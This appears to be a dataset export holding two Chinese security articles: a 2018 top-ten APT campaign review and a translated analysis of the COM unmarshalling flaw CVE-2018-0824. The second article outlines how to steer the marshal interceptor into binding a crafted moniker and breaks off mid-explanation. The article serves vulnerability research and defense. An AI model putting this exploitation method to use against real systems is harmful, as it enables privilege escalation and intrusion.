text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 2018年全球十大APT攻击事件盘点
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
APT攻击（Advanced Persistent Threat，高级持续性威胁）是利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。
360威胁情报中心结合2018年全年国内外各个安全研究机构、安全厂商披露的重大APT攻击事件，以及近几年来披露的高级持续性威胁活动信息，并基于这些重大APT攻击事件的危害程度、攻击频度、攻击技术等，评选出2018年全球十大APT攻击事件。
## 2018年全球十大APT攻击事件
360威胁情报中心将基于每个APT攻击事件的背景信息、攻击组织、相关TTP（战术、技术、过程）进行描述，带你一起回顾这些重大攻击事件。
### 1\. 韩国平昌冬奥会APT攻击事件
评分：危害程度 ★★★ 攻击频度 ★★ 攻击技术 ★★★
事件时间：韩国平昌奥运会期间，首次活动于2017年12月22日
攻击组织：Hades
受害目标：韩国平昌奥运会举办方
相关攻击武器：Olympic Destroyer
相关漏洞：无
攻击入口：鱼叉邮件攻击
主要攻击战术技术：
1\. 鱼叉邮件投递内嵌恶意宏的Word文档
2\. 利用PowerShell实现的图片隐写技术，其使用开源工具Invoke-PSImage实现
3\. 利用失陷网站用于攻击载荷的分发和控制回传
4\. 伪装成韩国国家反恐中心（NCTC）的电子邮件地址发送鱼叉邮件，以及注册伪装成韩国农业和林业部的恶意域名
韩国平昌冬奥会APT攻击事件是由McAfee在今年伊始公开披露的APT事件，据相关新闻报道，其导致了奥运会网站的宕机和网络中断。卡巴斯基将该事件背后的攻击组织命名为Hades。
韩国冬奥会攻击事件最为疑惑的是其攻击者的归属问题，并至今仍未有定论。在事件中使用的植入载荷Olympic
Destroyer，其用于破坏文件数据的相关代码与过去Lazarus使用的载荷有部分相似，而美国部份媒体则声称该事件为俄罗斯情报机构实施并嫁祸给朝鲜。
该事件再一次展现了APT攻击者利用和模仿其他组织的攻击技术和手法特点，制造false
flag以迷惑安全人员并误导其做出错误的攻击来源归属的判断，而似乎制造false flag是Hades组织惯用的攻击手法。
### 2. VPNFilter：针对乌克兰IOT设备的恶意代码攻击事件
评分：危害程度 ★★★★★ 攻击频度 ★★★★ 攻击技术 ★★★★
事件时间：最早从2016年开始，2018年5月首次披露
攻击组织：疑似APT28
受害目标：主要为乌克兰
相关攻击武器：VPNFilter
相关漏洞：针对IOT设备的多种漏洞
攻击入口：利用IOT设备漏洞远程获得初始控制权
主要攻击战术技术：
1\. 使用多阶段的载荷植入，不同阶段载荷功能模块实现不同
2\. 使用针对多种型号IOT设备的公开漏洞利用技术和默认访问凭据获得对设备的控制权
3\. 实现包括：数据包嗅探、窃取网站登录凭据、以及监控Modbus SCADA工控协议
4\. 针对多种CPU架构编译和执行
5\. 使用Tor或SSL加密协议进行C2通信
VPNFilter事件是2018年最为严重的针对IOT设备的攻击事件之一，并且实施该事件的攻击者疑似具有国家背景。美国司法部在后续也声称该事件与APT28组织有关。
通过Cisco
Talos的披露，该事件影响了至少全球54个国家和地区的50W设备，包括常用的小型路由器型号（例如Linksys，MikroTik，NETGEAR和TP-Link）、NAS设备等。
VPNFilter恶意代码被制作成包含复杂而丰富的功能模块，实现多阶段的攻击利用，并被编译成支持多种CPU架构，使用已知公开的漏洞利用技术获得控制权。
乌克兰特勤局（SBU）后续也公开披露其发现VPNFilter对其国内的氯气蒸馏站的攻击。
### 3\. APT28针对欧洲、北美地区的一系列定向攻击事件
评分：危害程度 ★★★★ 攻击频度 ★★★★ 攻击技术 ★★★★★
事件时间：贯穿整个2018年
攻击组织：APT28
受害目标：北美、欧洲、前苏联国家的政府组织
相关攻击武器：Cannon、Zebrocy等
相关漏洞：Office文档模板注入、疑似Lojack软件缺陷或0day漏洞
攻击入口：鱼叉邮件、Office模板注入
主要攻击战术技术：
1\. 鱼叉邮件发送使用了Office模板注入攻击技术的恶意文档
2\. 远程注入恶意宏代码并执行
3\. 释放Delphi版的Cannon和.Net和C#等多个语言版本的Zebrocy木马进行远程控制
4\. 以及针对LoJack计算机防盗软件植入UEFI rootkit木马程序，实现重装系统及更换硬盘都无法消除的持久化远程控制
APT28组织在整个2018年频繁利用Office模板注入远程宏文档的攻击技术对包括北美国家的外交事务组织、欧洲国家的外交事务组织以及前苏联国家的政府实体进行定向攻击。这些攻击的攻击媒介都是通过鱼叉式网络钓鱼，使用注册到免费电子邮件提供商Seznam的电子邮件帐户，Seznam是一家位于捷克共和国的热门网络服务提供商，并且该攻击大部分文档都包含作者名Joohn。
在2018年9月，ESET还发现APT28组织使用UEFI rootkit针对巴尔干半岛及中欧和东欧的政府组织进行定向攻击的活动。
### 4. 蓝宝菇APT组织针对中国的一系列定向攻击事件
评分：危害程度 ★★★★ 攻击频度 ★★★ 攻击技术 ★★★
事件时间：2018年4月（首次攻击时间为2011年）
攻击组织： 蓝宝菇（BlueMushroom）
受害目标：中国政府、军工、科研、金融等重点单位和部门
相关攻击武器：PowerShell后门
相关漏洞：无
攻击入口：鱼叉邮件和水坑攻击
主要攻击战术技术：
1\. 鱼叉邮件投递内嵌PowerShell脚本的LNK文件，并利用邮件服务器的云附件方式进行投递
2\.
当受害者被诱导点击恶意LNK文件后，会执行LNK文件所指向的PowerShell命令，进而提取出LNK文件中的其他诱导文件、持久化后门和PowerShell后门脚本。PowerShell后门会通过对受害者的电脑中的特定格式文件进行打包并上传到第三方云空间（如：亚马逊云，新浪云等）
3\. 从网络上接受新的PowerShell后门代码执行，从而躲避了一些杀软的查杀
“蓝宝菇”APT组织在2018年对我国的政府、军工、科研、金融等重点单位和部门都发起了多次针对性攻击，攻击的技术以及手法也有所升级。从以往的PE木马升级到现在的非PE的脚本后门，以及采用云空间、云附件的手法接收回传的资料信息等都反映了蓝宝菇APT组织在攻击技术方面的更新。从近期360威胁情报中心监控到的攻击事件来看，未来蓝宝菇APT组织都会大量的使用PowerShell脚本等非PE后门来替代原有的PE木马数字武器。
### 5. 海莲花APT组织针对我国和东南亚地区的定向攻击事件
评分：危害程度 ★★★★ 攻击频度 ★★★★★ 攻击技术 ★★★
事件时间：2018年全年（首次攻击时间为2012年）
攻击组织：海莲花（OceanLotus）
受害目标：东南亚国家、中国及其相关科研院所、海事机构、航运企业等
相关攻击武器：Denis家族木马、Cobalt Strike、CACTUSTORCH框架木马
相关漏洞：微软Office漏洞、MikroTik路由器漏洞、永恒之蓝漏洞
攻击入口：鱼叉邮件和水坑攻击
主要攻击战术技术：
1\. 鱼叉邮件投递内嵌恶意宏的Word文件、HTA文件、快捷方式文件、SFX自解压文件、捆绑后的文档图标的可执行文件等
2\. 入侵成功后通过一些内网渗透工具扫描渗透内网并横向移动，入侵重要服务器，植入Denis家族木马进行持久化控制
3\. 通过横向移动和渗透拿到域控或者重要的服务器权限，通过对这些重要机器的控制来设置水坑、利用第三方工具并辅助渗透
4\. 横向移动过程中还会使用一些逃避杀软检测的技术：包括白利用技术、PowerShell混淆技术等
“海莲花”APT
组织在2018年全年频繁的针对我国及东南亚国家进行持续的针对性攻击，比如针对柬埔寨和菲律宾的新的攻击活动，并且疑似利用了路由器的漏洞实施远程渗透。相关漏洞首次公开是由维基解密披露的CIA
Vault7项目资料中提及并由国外安全研究人员发布了相关攻击利用代码。并且“海莲花”在2018年的攻击活动中使用了更加多样化的载荷投放形式，并使用多种白利用技术加载其恶意模块。
### 6. 蔓灵花APT组织针对中国、巴基斯坦的一系列定向攻击事件
评分：危害程度 ★★★ 攻击频度 ★★★★ 攻击技术 ★★★
事件时间：2018年初
攻击组织： 蔓灵花（BITTER）
受害目标：中国、巴基斯坦
相关攻击武器：“蔓灵花”特有的后门程序
相关漏洞：InPage文字处理软件漏洞CVE-2017-12824、微软公式编辑器漏洞等
攻击入口：鱼叉邮件攻击
主要攻击战术技术：
1\. 鱼叉邮件投递内嵌Inpage漏洞利用文档、微软公式编辑器漏洞利用文档、伪造成文档/图片的可执行文件等
2\. 触发漏洞后释放/下载执行恶意木马，与C2保持通信，并根据C2返回的命令下载指定插件执行
3\. 下载执行多种远控插件进行远程控制
“蔓灵花”APT组织在2018年利用InPage文档处理软件漏洞、微软公式编辑器漏洞、伪造文档图标的可执行文件等攻击手法，针对中国、巴基斯坦重要组织机构和人员多次发起定向攻击。多次攻击活动表明，蔓灵花习惯攻陷巴基斯坦政府网站用于下发后续木马，比如在11月针对巴基斯坦的攻击活动中，后续木马下发地址为：fst.gov.pk/images/winsvc，而fst.gov.pk则是巴基斯坦政府的相关网站。
并且在2018年11月左右针对巴基斯坦的攻击中使用了大量InPage漏洞利用文档进行攻击。而InPage则是一个专门针对乌尔都语使用者（巴基斯坦国语）设计的文字处理软件。
### 7. APT38针对全球范围金融机构的攻击事件
评分：危害程度 ★★★★★ 攻击频度 ★★★★ 攻击技术 ★★★★
事件时间：最早于2014年，持续活跃至今
攻击组织：APT38
受害目标：金融机构，银行，ATM，SWIFT
相关攻击武器：多种自制恶意程序
相关漏洞：多种漏洞
攻击入口：鱼叉攻击，水坑攻击
主要攻击战术技术：
1\. 利用社交网络，搜索等多种方式对攻击目标进行详细的网络侦查
2\. 使用鱼叉攻击或水坑攻击对目标人员实施攻击并获得初始控制权
3\. 在目标网络横向移动，最终以获得SWIFT系统终端为目标
4\. 伪造或修改交易数据达到窃取资金
5\. 通过格式化硬盘或日志等方式清除痕迹。
APT38被认为是朝鲜来源的APT组织，国外安全厂商通常称为Lazarus
Group。近年来主要披露的攻击活动涉及全球金融和银行机构、中美洲在线赌场、以及虚拟电子货币相关的交易所和机构。FireEye在今年披露了一份详细的APT组织报告，并将其中以经济牟利为意图的，针对全球金融、银行机构攻击的威胁活动独立归属为一个新的组织名称，APT38以明确区分其与Lazarus之间的一些不同。
美国司法部在今年9月也公开披露了一份非常详细的针对朝鲜黑客PARK JIN HYOK及其相关组织Chosun
Expo过去实施的攻击活动的司法指控。在该报告中指出PARK黑客及其相关组织与过去SONY娱乐攻击事件、全球范围多个银行SWIFT系统被攻击事件、
WannaCry、以及韩国、美国军事人员和机构被攻击的相关事件有关。
APT38，作为目前以经济利益为动机的最为活跃的APT组织，我们也应该持续关注其使用的攻击技术和工具。
### 8. 疑似DarkHotel APT组织利用多个IE 0day“双杀”漏洞的定向攻击事件
评分：危害程度 ★★★ 攻击频度 ★★ 攻击技术 ★★★★
事件时间：首次发现于2018年5月，相同Payload在2月中旬被发现
攻击组织：DarkHotel
受害目标：中国
相关攻击武器：劫持操作系统DLL文件（msfte.dll、NTWDBLIB.DLL）的插件式木马后门
相关漏洞：CVE-2018-8174、CVE-2018-8373等
攻击入口：鱼叉邮件攻击
主要攻击战术技术：
1\. 鱼叉邮件投递包含IE 0day双杀漏洞的Word文档
2\. 漏洞利用成功后释放白利用文件执行恶意PowerShell下载下一阶段PowerShell脚本
3\. 下载回来的PowerShell脚本进行Bypass UAC，并通过劫持系统DLL文件下载核心木马模块
4\. 核心木马模块与C2地址通信下载执行更多的木马插件实现持久化控制
Darkhotel（APT-C-06）是一个长期针对企业高管、国防工业、电子工业等重要机构实施网络间谍攻击活动的APT组织。2018年5月，360公司首次发现疑似该组织使用IE
0day“双杀”漏洞针对中国的定向攻击。
2018年8月15日，网络安全公司趋势科技公开了其在今年7月捕获到的一例在野0day漏洞攻击，经过分析对比发现该0day漏洞和2018年4月360公司首次发现影响IE浏览器并通过Office文档进行攻击的“双杀”漏洞使用了多个相同的攻击技术，极有可能是同一团伙所为。
并且早在2018年2月中旬，360威胁情报中心就跟踪发现了DarkHotel
APT团伙使用相同的恶意代码的定向攻击活动，并且结合威胁情报数据挖掘到了该团伙更多的样本，对该团伙近年来使用的多个版本的恶意代码进行了分析对比，梳理了样本演化过程。
### 9. 疑似APT33使用Shamoon V3针对中东地区能源企业的定向攻击事件
评分：危害程度 ★★★★ 攻击频度 ★★ 攻击技术 ★★★
事件时间：2018年12月发现
攻击组织：疑似APT33
受害目标：中东和欧洲的石油和天然气公司
相关攻击武器：Shamoon V3
相关漏洞：无
攻击入口：鱼叉邮件攻击
主要攻击战术技术：
1\. 使用随机生成的数据覆盖系统上的MBR、分区和文件
2\. 恶意文件的文件描述模仿合法的产品名称
安全人员于今年12月在VirusTotal上发现了新版本的Shamoon恶意代码，其使用随机生成的数据覆盖系统上的MBR，分区和文件。本次攻击活动可能主要针对欧洲和中东的石油、天然气公司。
随后，国外安全厂商McAfee对Shamoon攻击所使用的新的工具集进行分析，并认为新的Shamoon版本作为其攻击工具集的一部分，其还包括一个.Net开发的攻击工具。McAfee指出该攻击活动可能与APT33有关。而后续FireEye对
APT33组织近期的攻击活动与Shamoon攻击的联系也进行了分析说明。
### 10. Slingshot：一个复杂的网络间谍活动
评分：危害程度 ★★★★ 攻击频度 ★★ 攻击技术 ★★★★★
事件时间：2012至2018年2月
攻击组织：疑似针对伊斯兰国和基地组织成员
受害目标：非洲和中东各国的路由器设备
相关攻击武器：自制的攻击武器
相关漏洞：CVE-2007-5633、CVE-2010-1592、CVE-2009-0824
攻击入口：可能通过Windows漏洞利用或已感染的Mikrotik路由器
主要攻击战术技术：
1\. 初始loader程序将合法的Windows库‘scesrv.dll’替换为具有完全相同大小的恶意文件
2\. 包括内核层的加载器和网络嗅探模块，自定义的文件系统模块
3\. 可能通过Windows漏洞利用或已感染的Mikrotik路由器获得受害目标的初始控制权。
Slingshot是由卡巴斯基在今年早些发现和披露的网络间谍活动，并且披露其是一个新的、高度复杂的攻击平台的一部分，其在复杂度上可以与Project
Sauron和Regin相媲美。
而后续，外媒对该曝光的活动也进行了报道。其中披露该攻击活动可能与美国联合特种作战司令部（JSOC）进行的一项军事计划有关，用于帮助军方和情报界通过感染受害目标常用的计算机收集有关恐怖分子的信息。
卡巴斯基披露Slingshot至少影响了约100名受害者，主要分布于非洲和中东地区国家（如阿富汗、伊拉克、肯尼亚、苏丹、索马里、土耳其等）。其同时针对Windows和Mikrotik路由器平台实施持久性的攻击植入。
## 总结
通过360威胁情报中心整理的2018年十大APT攻击事件，我们可以总结出以下一些观点：
l
工业制造业以及国家基础建设相关的行业和机构越来越多的成为APT组织的直接攻击目标，比如针对乌克兰路由器等IOT设备的VPNFilter恶意代码攻击和针对中东地区能源企业的定向攻击事件
l APT组织通过不断变换攻击方式和更多的0day漏洞来尝试突破目标的安全防护。比如被利用的多个IE
0day双杀漏洞、针对小众的InPage文字处理软件漏洞、针对路由器的漏洞攻击、躲避邮件或终端杀毒软件检测的Office模板注入攻击等
l
多个著名的APT团伙在2018年非常活跃，被国内外多个安全研究机构、安全厂商所披露。比如针对欧洲、北美地区进行频繁攻击的APT28，针对东南亚地区持续进行定向攻击的海莲花、蔓灵花等APT组织
## 参考链接
[1].https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/
[2].https://www.securityweek.com/russia-hacked-olympics-computers-turned-blame-north-korea-report
[3].https://www.justice.gov/opa/press-release/file/1092091/download
[4].https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html
[5].https://www.fireeye.com/blog/threat-research/2018/10/apt38-details-on-new-north-korean-regime-backed-threat-group.html
[6].https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/
[7].https://www.bleepingcomputer.com/news/security/ukraine-says-it-stopped-a-vpnfilter-attack-on-a-chlorine-distillation-station/
[8].https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/
[9].https://twitter.com/360TIC/status/1078908533125443584
[10].https://ti.360.net/uploads/2018/07/05/5fc9c36b4cb81d4281599f0d3416931a.pdf
[11].https://ti.360.net/blog/articles/oceanlotus-with-cve-2017-8570/
[12].https://ti.360.net/blog/articles/oceanlotus-targets-chinese-university/
[13].https://ti.360.net/blog/articles/latest-sample-and-c2-mechanism-of-apt-c-12/
[14].https://ti.360.net/blog/articles/details-of-apt-c-12-of-operation-nuclearcrisis/
[15].https://ti.360.net/blog/articles/analyzing-attack-of-cve-2018-8373-and-darkhotel/
[16].https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups/
[17].https://ti.360.net/blog/articles/analysis-of-darkhotel/
[18].https://ti.360.net/blog/articles/analysis-of-apt-campaign-bitter/
[19].https://securityaffairs.co/wordpress/72851/apt/vpnfilter-botnet-doj.html
[20].https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/
[21].https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
[22].https://securelist.com/threats-in-the-netherlands/88185/
[23].https://securelist.com/apt-slingshot/84312/
[24].https://blog.talosintelligence.com/2018/05/VPNFilter.html | 社区文章 |
# 对Microsoft COM for Windows远程代码执行漏洞CVE-2018-0824的技术分析
|
##### 译文声明
本文是翻译文章，文章来源：codewhitesec.blogspot.com
原文地址：<https://codewhitesec.blogspot.com/2018/06/cve-2018-0624.html>
译文仅供参考，具体内容表达以及含义原文为准。
2018年5月，微软修补了一个有趣的漏洞（CVE-2018-0824），漏洞由微软安全响应中心 （MSRC）的Nicolas Joly报道：
_当它无法正确处理序列化对象时， “Microsoft COM for Windows”_ _中存在一个远程代码执行漏洞。_
_成功利用此漏洞的攻击者可以使用一个特制文件或脚本执行操作。在电子邮件攻击场景中，攻击者可以通过向用户发送专门制作的文件并诱使用户打开该文件来利用漏洞。在基于
Web_
_的攻击场景中，攻击者可以托管一个包含旨在利用此漏洞的特制文件的网站（或利用受损网站接受或托管用户提供的内容）。但是，攻击者无法强制用户访问该网站。相反，攻击者必须诱使用户点击链接，通常通过电子邮件或
Instant Messenger_ _消息中的诱饵，然后诱使用户打开特制文件。_
_此安全更新通过更正 “Microsoft COM for Windows”_ _处理序列化对象的方式来解决漏洞。_
咨询发布后，关键字“COM”和“序列化”几乎一下就跃到我的眼前。由于去年我已经在Microsoft
COM上花了几个月的研究时间，所以我决定研究一下它。虽然这个漏洞可以导致远程代码执行，但我只对特权升级方面感兴趣。
在我详细介绍之前，我想简单介绍一下COM以及反序列化/编组是如何工作的。由于我远不是COM专家，所有这些信息要么是基于Don
Box的伟大著作《Essential COM》，要么是令人印象深刻的[“COM in 60
seconds”](https://vimeo.com/214856542)。我略过了一些细节（IDL/MIDL、Apartments、Standard
Marshalling等），只是为了让介绍简短。
## COM和编组的介绍
COM（组件对象模型）是一个Windows中间件，具有可重用代码（=component）作为主要目标。为了开发可重复使用的C++代码，微软的工程师以面向对象的方式设计了COM，并考虑了以下几个关键方面：
l 可移植性
l 封装
l 多态性
l 接口与实现的分离
l 对象可扩展性
l 资源管理
l 语言独立性
COM对象由接口和实现类定义。接口和实现类都由GUID标识。一个COM对象可以使用继承来实现多个接口。
所有的COM对象都实现了IUnknown接口，它类似于C
++中的以下类定义（由[GitHub](https://github.com/)托管[iunknown.cpp](https://gist.github.com/matthiaskaiser/5e88fda2f625b9c7f4ff129cdf5ea030#file-iunknown-cpp)）：
class IUnknown
---
|
{
|
public:
|
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void
**ppvObject) = 0;
|
virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
|
virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
|
};
所述的QueryInterface() 方法用于将COM对象投射到COM对象实现的不同接口，AddRef() 和Release() 方法用于引用计数。
为了保持简短，我选择继续使用现有的COM对象，而不是创建一个人为的示例COM对象。
“控制面板”COM对象由GUID
{06622D85-6856-4460-8DE1-A81921B41C4B}标识。想要了解有关COM对象的更多信息，我们可以手动分析注册表，或者使用伟大的工具[“OleView
.NET”](https://github.com/tyranid/oleviewdotnet)。
“控制面板（Control Panel）”COM对象实现了几个接口，我们可以在OleView
.NET的屏幕截图中看到：COM对象（COpenControlPanel）的实现类可以在shell32.dll中找到。
想要以编程方式打开“控制面板”，我们使用COM API（由[GitHub
](https://github.com/)托管的[raw](https://gist.github.com/matthiaskaiser/3be2d61d374b88e2ce02bb8314662a79/raw/cc14fc53ba2d0e421a5bb11ed6bdecbf1989de23/controlpanel.cpp)[controlpanel.cpp](https://gist.github.com/matthiaskaiser/3be2d61d374b88e2ce02bb8314662a79#file-controlpanel-cpp)）：
HRESULT hr = 0;
---
|
GUID guidControlPanel = { 0x06622d85,0x6856,0x4460,{
0x8d,0xe1,0xa8,0x19,0x21,0xb4,0x1c,0x4b } };
|
IUnknown* pUnknown = nullptr;
|
IOpenControlPanel* pControlPanel = nullptr;
|
|
hr = CoInitialize(0);
|
hr = CoCreateInstance(guidControlPanel, NULL, CLSCTX_ALL, IID_IUnknown,
(LPVOID*)&pUnknown);
|
hr = pUnknown->QueryInterface(IID_IOpenControlPanel, (LPVOID*)&pControlPanel);
|
hr = pControlPanel->Open(nullptr, nullptr, nullptr);
l 在第6行我们初始化COM环境
l 在第7行中，我们创建了一个“控制面板”对象的实例
l 在第8行中，我们将实例转换到IOpenControlPanel接口
l 在第9行中，我们通过调用“打开（Open）”方法打开“控制面板”
运行后检查调试器中的COM对象，直到第9行向我们显示对象的虚拟函数表（vTable）：
对象的vTable中的函数指针指向shell32.dll中的实际实现函数。原因是COM对象被创建为一个所谓的InProc服务器，这意味着shell32.dll
被加载到当前的进程地址空间中。当传递CLSCTX_ALL时，CoCreateInstance()会首先尝试创建一个InProc服务器。如果失败，则尝试其他激活方法（请参阅[CLSCTX](https://msdn.microsoft.com/en-us/library/windows/desktop/ms693716\(v=vs.85\).aspx)枚举）。
通过将CLSCTX_ALL参数更改为函数CoCreateInstance()到CLSCTX_LOCAL_SERVER，并再次运行程序，我们可以注意到一些差异：
对象的vTable现在包含来自OneCoreUAPCommonProxyStub.dll的函数指针。并且与Open()方法对应的第四个函数指针现在指向OneCoreUAPCommonProxyStub!ObjectStublessClient3()。
原因是我们将COM对象创建为进程外服务器。下图尝试给你一个架构概述（从[Project
Zero](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html)借用）：
COM对象中的函数指针指向代理类的函数。当我们执行IOpenControlPanel::Open()方法时，方法OneCoreUAPCommonProxyStub!ObjectStublessClient3()在代理上被调用。代理类本身最终调用RPC方法（例如RPCRT4!NdrpClientCall3）将参数发送到RPC服务器进程外的服务器，这些参数需要被序列化/编组，以将它们发送到RPC；在进程外服务器中，参数被反序列化/解组，并且Stub调用shell32!COpenControlPanel::Open()。对于像字符串这样的非复杂参数，序列化/编组是很简单的，因为它们是按值发送的。
那么像COM对象这样的复杂参数呢?从IOpenControlPanel::Open()方法定义可以看出，第三个参数是一个指向IUnknown
COM对象的指针（由[GitHub](https://github.com/)托管的[raw](https://gist.github.com/matthiaskaiser/6af50062e7e93b127af87d6bf0e764cf/raw/74dc2772569d317082f67fc42f001617b72e2c3a/open.cpp)[open.cpp](https://gist.github.com/matthiaskaiser/6af50062e7e93b127af87d6bf0e764cf#file-open-cpp)）：
HRESULT Open(
---
|
[in] LPCWSTR pszName,
|
[in] LPCWSTR pszPage,
|
[in] IUnknown *punkSite
|
);
答案是，一个复杂的对象可以通过引用（标准编组）或序列化/编组逻辑来进行编组，通过实现IMarshal接口（自定义编组）来定制。
IMarshal接口有几种方法，我们可以在下面的定义中看到（由[GitHub](https://github.com/)托管的[raw](https://gist.github.com/matthiaskaiser/0ce62a59716bb81e9eac900a4461a697/raw/b25e1e7a2338c10c954a96110448be13ae344230/imarshal.cpp)[imarshal.cpp](https://gist.github.com/matthiaskaiser/0ce62a59716bb81e9eac900a4461a697#file-imarshal-cpp)）：
class IMarshal : public IUnknown
---
|
{
|
public:
|
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass ( REFIID riid, void *pv,
DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) = 0;
|
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax ( REFIID riid, void *pv,
DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) = 0;
|
virtual HRESULT STDMETHODCALLTYPE MarshalInterface (IStream *pStm, REFIID
riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) =
0;
|
virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface (IStream *pStm, REFIID
riid, void **ppv) = 0;
|
virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData (IStream *pStm) = 0;
|
virtual HRESULT STDMETHODCALLTYPE DisconnectObject (DWORD dwReserved) = 0;
|
};
在COM对象的序列化/编组过程中，COM将调用IMarshal::GetUnmarshalClass()方法，返回用于解组的类的GUID。然后调用IMarshal::GetMarshalSizeMax()方法来为编组数据准备一个缓冲区。最后调用IMarshal::MarshalInterface
()将自定义编组数据写入IStream对象。COM运行时通过RPC将“Unmarshal类”和IStream对象的GUID发送到服务器。
在服务器上，COM运行时使用CoCreateInstance()函数创建“Unmarshal类”
，使用QueryInterface将其转换为IMarshal接口，并最终在“Unmarshal类”实例上调用IMarshsal::UnmarshalInterface()方法，将IStream作为参数传递。
这也是所有痛苦开始的地方……
## 分解补丁
在下载[Windows 8.1
x64](https://www.catalog.update.microsoft.com/Search.aspx?q=KB4103715)的补丁并解压文件后，我发现两个与微软COM相关的补丁DLL：
l oleaut32.dll
l comsvcs.dll
使用Hexray的IDA Pro和Joxean
Koret的[Diaphora](https://github.com/joxeankoret/diaphora)我分析了微软所作的改变。
在oleaut32.dll中，几个函数被改变了，但与反序列化/编组无关：
在comsvcs.dll中，只有4个函数被修改：
显然，有一种方法与众不同：CMarshalInterceptor::UnmarshalInterface()。
CMarshalInterceptor::UnmarshalInterface()方法是IMarshal接口的UnmarshalInterface()方法的实现。正如我们在介绍中已经知道的那样，这个方法在反编组过程中被调用。
## BUG
对Windows 10 Redstone
4(1803)进行了进一步的分析，包括3月补丁（来自MSDN的ISO）。在方法一开始，CMarshalInterceptor::UnmarshalInterface()将20个字节从IStream对象读入堆栈的缓冲区。
之后，将缓冲区中的字节与CMarshalInterceptor类的GUID
（ECABAFCB-7F19-11D2-978E-0000F8757E2A）进行比较。如果流中的字节匹配，我们会到达函数CMarshalInterceptor::CreateRecorder()。
在函数CMarshalInterceptor::CreateRecorder()中调用COM-API函数[ReadClassStm](https://msdn.microsoft.com/en-us/library/windows/desktop/aa380303\(v=vs.85\).aspx)。该函数从IStream中读取CLSID（GUID）并将其存储到堆栈上的缓冲区中。然后将CLSID与[CompositeMoniker](https://msdn.microsoft.com/en-us/library/windows/desktop/ms693788\(v=vs.85\).aspx)的GUID进行比较。
IMoniker接口继承自[IPersistStream接口](https://msdn.microsoft.com/de-de/library/windows/desktop/ms690091\(v=vs.85\).aspx)，允许实现它的COM对象从/向一个IStream对象加载/保存自己。Monikers可以唯一标识对象，并可以通过调用IMoniker实例的BindToObject()方法来定位、激活和获取对象的引用。
如果CLSID与CompositeMoniker的GUID不匹配，我们就沿着右边的路径进行操作。在这里，使用从IStream中读取的CLSID作为第一个参数来调用COM-API函数CoCreateInstance()。如果COM找到特定的类并且能够将其转换为IMoniker接口，我们就可以到达下一个基本块。接下来，在新创建的实例上调用IPersistStream::Load()方法，该实例从IStream对象恢复保存的Moniker状态。
最后，我们调用BindToObject()来触发所有的邪恶……
## 利用这个BUG
为了开发，我遵循了Project Zero在bug追踪器问题[“DCOM DCE/RPC Local NTLM Reflection Elevation
of Privilege”](https://bugs.chromium.org/p/project-zero/issues/detail?id=325)
中描述的相同方法。
我正在创建一个实现IStorage和IMarshal接口的伪COM对象类。
IStorage接口的所有实现方法都将被转发到一个真实的IStorage实例，稍后我们将看到这一点。由于我们正在实现自定义编组，因此COM运行时需要知道哪个类将用于反序列化/解组伪对象。因此，COM运行时调用IMarshal::GetUnmarshalClass()。触发Moniker，我们只需要返回“QC
Marshal Interceptor Class”类（ECABAFCB-7F19-11D2-978E-0000F8757E2A）的GUID。
最后一步是实现IMarshal::MarshalInterface()方法。正如你已经知道，COM运行时调用的该方法将一个对象编组到IStream中。
想要触发对IMoniker::BindToObject()的调用，我们只需将所需的字节写入IStream对象，以满足CMarshalInterceptor::UnmarshalInterface()中的所有条件。
我尝试使用CoCreateInstance()创建CLSID {06290BD3-48AA-11D2-8432-006008C3FBFC}的Script
Moniker COM对象。但是，嘿，我得到了一个“REGDB_E_CLASSNOTREG”错误代码。看来微软引入了一些变化。显然，Script
Moniker将不再工作。所以我想用“URLMoniker/hta
file”来利用这个bug。但幸运的是，我记得在CMarshalInterceptor::CreateRecorder()方法中，我们检查了CompositeMoniker
CLSID。
因此，沿着左边的路径，我们有一个基本块，其中从流中读取4个字节到堆栈缓冲区（var_78）。接下来，我们调用CMarshalInterceptor::LoadAndCompose()，使用IStream
、一个指向IMoniker接口指针的指针以及来自堆栈缓冲区的值作为参数。
在此方法中，使用[OleLoadFromStream()](https://msdn.microsoft.com/de-de/library/windows/desktop/ms680103\(v=vs.85\).aspx) COM-API函数从IStream读取并创建一个IMoniker实例。在该方法的后面，递归地调用CMarshalInterceptor::LoadAndCompose()来组成一个CompositeMoniker。通过调用[IMoniker::ComposeWith()，](https://msdn.microsoft.com/en-us/library/windows/desktop/ms686591\(v=vs.85\).aspx)一个新的IMoniker被创建为两个标记的组合。指向新的CompositeMoniker的指针将被存储在传递给当前函数的指针中作为参数。正如我们在前面的截图中看到的那样，稍后将在CompositeMoniker上调用BindToObject()方法。
我记得[Haifei Li’s](http://justhaifei1.blogspot.com/2017/07/bypassing-microsofts-cve-2017-0199-patch.html) 的博客文章中有一种方法，可以通过编写一个[File
Moniker](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688670\(v=vs.85\).aspx)和一个[New
Moniker](https://thrysoee.dk/InsideCOM+/ch11e.htm)来创建一个Script
Moniker。在掌握了这些知识之后，我实现了IMArSal:：MARSHALTIOFACE()方法的最后一部分。
